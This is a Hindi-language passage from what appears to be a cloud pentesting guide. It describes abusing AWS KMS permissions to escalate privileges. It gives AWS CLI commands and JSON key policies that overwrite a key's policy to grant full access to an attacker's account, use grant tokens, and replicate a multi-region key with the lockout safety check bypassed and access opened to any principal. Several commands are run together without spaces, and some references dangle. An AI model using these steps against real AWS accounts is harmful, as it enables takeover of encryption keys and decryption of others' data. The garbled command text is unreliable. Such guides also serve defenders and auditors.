इन अनुमतियों के साथ कुंजी के एक्सेस अनुमतियों को संशोधित करना संभव है ताकि इसका उपयोग अन्य खातों द्वारा या यहाँ तक कि किसी भी व्यक्ति द्वारा किया जा सके:
awskmslist-keysawskmslist-key-policies--key-id<id># Although only 1 max per keyawskmsget-key-policy--key-id<id>--policy-name<policy_name># AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
awskmsput-key-policy--key-id<id>--policy-name<policy_name>--policyfile:///tmp/policy.json
policy.json:
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::<origin_account>:root"},"Action":"kms:*","Resource":"*"},{"Sid":"Allow all use","Effect":"Allow","Principal": {"AWS":"arn:aws:iam::<attackers_account>:root"},"Action": [ "kms:*" ],"Resource":"*"}]}
kms:CreateGrant
यह एक प्रिंसिपल को एक KMS कुंजी का उपयोग करने की अनुमति देता है:
ध्यान दें कि KMS को उपयोगकर्ता को कुंजी का उपयोग करने की अनुमति देने में कुछ मिनट लग सकते हैं जब तक अनुदान उत्पन्न नहीं हो जाता। उस समय के बाद, प्रिंसिपल को कुंजी का उपयोग करने के लिए कुछ भी निर्दिष्ट करने की आवश्यकता नहीं होती है।
हालांकि, अगर तुरंत अनुदान का उपयोग करना आवश्यक है एक अनुदान टोकन का उपयोग करें (निम्नलिखित कोड की जांच करें)।
अधिक जानकारी के लिए यह पढ़ें।
# Use the grant token in a requestawskmsgenerate-data-key \--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \–-key-spec AES_256 \--grant-tokens $token
ध्यान दें कि यह संभव है कि कुंजी की अनुमतियों की सूची बनाई जा सकती है:
awskmslist-grants--key-id<value>
kms:CreateKey, kms:ReplicateKey
इन अनुमतियों के साथ, एक विभिन्न क्षेत्र में एक विभिन्न नीति के साथ एक मल्टी-रीजन सक्षम KMS कुंजी की प्रतिलिपि बनाना संभव है।
इसलिए, एक हमलावर इसका दुरुपयोग करके कुंजी तक पहुंचने और उसका उपयोग करने के लिए इस्तेमाल कर सकता है
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml
{"Version":"2012-10-17","Id":"key-consolepolicy-3","Statement": [{"Sid":"Enable IAM User Permissions","Effect":"Allow","Principal":{"AWS":"*"},"Action":"kms:*","Resource":"*"}]}
kms:Decrypt
यह अनुमति किसी कुंजी का उपयोग करके कुछ जानकारी को डिक्रिप्ट करने की अनुमति देती है।
अधिक जानकारी के लिए देखें: